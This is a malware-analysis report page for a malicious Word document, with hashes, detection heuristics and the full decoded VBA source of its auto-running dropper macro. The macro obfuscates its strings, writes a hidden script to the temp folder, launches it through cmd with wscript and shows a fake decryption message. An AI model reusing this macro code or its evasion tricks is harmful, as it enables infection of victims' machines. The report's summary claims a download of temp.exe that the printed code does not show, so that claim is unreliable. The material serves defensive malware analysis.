Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cc6a581290e28923…

MALICIOUS

Office (OLE)

312.5 KB Created: 2018-05-21 17:32:00 Authoring application: Microsoft Office Word First seen: 2019-03-18
MD5: d7ca38e21327541787ab84bde83d7f81 SHA-1: 5dc7e1004d28e99ae08ed4ab3a3980e0f75777f0 SHA-256: cc6a581290e28923be594abdea7a949eef353740edb67d566a15c7a92b76900e
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1071.001 Web Protocols T1204.002 Malicious File

The sample contains a VBA macro with an AutoOpen function that utilizes the Shell() and CreateObject() functions. The macro attempts to download a file from the URL 'http://emjipcisurbe.rumympi.iwcyha.alburjiwhyjl.otuwybocbunhe.orqizhodmi.cbakannucqul.izarocodcaqce.hgovpi.com/ew/kew "ewSewEewTew ewaew0ew1ew=ewwewsewcewrew&ew ewSewEewTew ewaew0ew2ew=ewiewpewtew&ew&ewcewaewlewlew ew%ewaew0ew1ew%ew%ewaew0ew2ew%e' and save it as 'temp.exe' in the Public Documents folder, likely executing it afterwards. The ClamAV detection 'Doc.Dropper.Agent-6550712-0' further supports its nature as a dropper.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6550712-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6550712-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3299 bytes
SHA-256: 988e0aebbd86d9cfb160f81f4b12258e4d3d063bd081f994022683977857ba04
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function thuqwehr(wxyxekx)
lwuvgugd = 625 + 183
End If
Function lisagi(vriqkec, yneg)
qilcymby = 833 - 362
End If
Function hgovpi(tpypyn)
hgovpi = Replace(tpypyn, "ew", "")
End Function
Function bedus(oszyk, ikly)
amobde = 101 + 690
End If
Function atavl(acejpir, mof, acli)
aqnaqo = 472 + 231
End If
Function sori(ebuxcot)
poctyh = 663 - 582
End If
Function xibo(fynj, onusga, ahe)
cbiro = 885 + 171
End If
Function jxibemqi(rfeqrov, yle, walyzy, wocy)
mykcuk = 428 - 343
End If
Function evywn(orgawnes, ovledyzr, kunegnu)
ctalakqa = 694 + 249
End If
Sub AutoOpen()
zkage = "emjipcisurbe"
svuwixa = "rumympi"
bytokli = "iwcyha"
rtisnu = "alburjiwhyjl"
vuwopj = "otuwybocbunhe"
wejas = "orqizhodmi"
uxerxum = "cbakannucqul"
xvimgywo = "izarocodcaqce"
afyzr = hgovpi("\eweewrewrewoewrewsew.ewtewxewt")
ajydn = hgovpi("%ewSewyewsewteweewmewDewrewiewveweew%")
cxyrfes = hgovpi("Sewcewrewiewpewtewiewnewgew.ewFewiewleweewSewyewsewteweewmewOewbewjeweewcewt")
ifaw = hgovpi("-ew-ew-")
okqoci = "hobavadkoqozzopi"
unket = "nkicwaqqowju"
koshe = hgovpi(" ")
uksygsopg = hgovpi("@ew@")
orcytosr = "oqjohaximepycu"
ahkojhy = "pvuzcupefewletic"
qikzynvy = hgovpi("WewSewcewrewiewpewtew.ewSewheweewlewl")
oqkoqihx = hgovpi("Deweewcewrewyewpewtewiewoewnew ewsewtewaewrewteweewdew!ew ewWewaewiewtew.")
ovenip = hgovpi("cewmewdew.eweewxeweew ew/ewkew ew""ewSewEewTew ewaew0ew1ew=ewwewsewcewrew&ew ewSewEewTew ewaew0ew2ew=ewiewpewtew&ew&ewcewaewlewlew ew%ewaew0ew1ew%ew%ewaew0ew2ew%ew ew/eweew:ewjewsewcewrewiewpewtew ew/ew/ewbew ")
zryldoty = hgovpi("")
xgyxmax = "tcevixynmotiteze"
omemic = "yzokylidha"
ahlypcodq = "vbacucrycnatfuqofsivc"
isnojexp = "evfughoj"
egihwakl = "ukezixyjvywzydavl"
vdornitqo = "zkabilo"
irnagbur = hgovpi("%ewteweewmewpew%")
nulepbu = "zaqyhusxirjuwxa"
Set ihhep = CreateObject(cxyrfes)
dica = "mkijutwigvelexefz"
Set hcuxwa = CreateObject(qikzynvy)
idvared = 834
vzibazb = hcuxwa.ExpandEnvironmentStrings(ajydn)
uwgyly = 810
Rem gdihgywgavu
Set fuqism = ihhep.GetDrive(vzibazb)
erepkyfs = "idoncyfhym"
If fuqism.FreeSpace > 10000 Then
aznync = 898
Rem qujzo
ovmuc = hcuxwa.ExpandEnvironmentStrings(irnagbur) & afyzr
cizob = 433
Rem ajamodmimyv
kqawe = UserForm1.Label1.Caption
ungigrulf = "stucuhkamix"
Rem gazkerserelarnoglo
kqawe = Replace(kqawe, uksygsopg, koshe)
kqawe = Replace(kqawe, ifaw, vbNewLine)
Open ovmuc For Output As #14
Print #14, kqawe
xraru = 719
Close #14
nyjwym = "ajuwjosehwuqto"
Rem yfehzagabqo
Shell ovenip & ovmuc & zryldoty, False
End If
ocmamha = 764
MsgBox (oqkoqihx)
eleldu = 975
'anekjav
End Sub

Attribute VB_Name = "UserForm1"
Attribute VB_Base = "0{63B0DA12-D31D-4765-B032-1FF642D782B8}{1D47528E-F707-486F-B60E-68992FB9DA31}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Private Sub Label1_Click()

End Sub

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